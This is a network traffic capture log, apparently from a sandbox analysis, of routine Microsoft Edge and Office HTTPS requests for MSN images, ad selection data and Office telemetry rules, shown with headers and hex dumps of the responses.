2024-10-27 16:54:39 UTC	515	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=45285 Expires: Mon, 28 Oct 2024 05:29:24 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49916	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 20 Oct 2024 00:24:35 GMT X-Datacenter: eastus X-ActivityId: fe583f7f-e099-4d9b-9091-f214425ad2e6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=156562 Expires: Tue, 29 Oct 2024 12:24:01 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49912	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=185950 Expires: Tue, 29 Oct 2024 20:33:49 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49917	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=321272 Expires: Thu, 31 Oct 2024 10:09:11 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49915	23.47.50.137	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:39 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 14:53:46 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 122e5b03-c16c-459e-8b9c-8d95bfdcdb0f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG X-Source-Length: 42413 Content-Length: 42413 Cache-Control: public, max-age=382035 Expires: Fri, 01 Nov 2024 03:01:54 GMT Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:39 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-10-27 16:54:40 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-10-27 16:54:40 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-10-27 16:54:40 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49911	20.99.185.48	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=074FEA079F3063D20A3CFF229EC1622A&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cb1a30445c504335e0dcc2b97190873e HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=074FEA079F3063D20A3CFF229EC1622A; _EDGE_S=F=1&SID=198B8E6759F36A270E6B9B4258136BAE; _EDGE_V=1
2024-10-27 16:54:40 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 27 Oct 2024 16:54:39 GMT Connection: close
2024-10-27 16:54:40 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:40 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-16849878b78nx5sne3fztmu6xc00000004vg000000002wvt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:40 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:39 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165439Z-16849878b78smng4k6nq15r6s400000005a000000000a26k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:40 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49921	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:39 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:40 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:40 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 155b9113-f01e-0072-1c90-281939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165439Z-16849878b787wpl5wqkt5731b400000004kg000000007pd5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
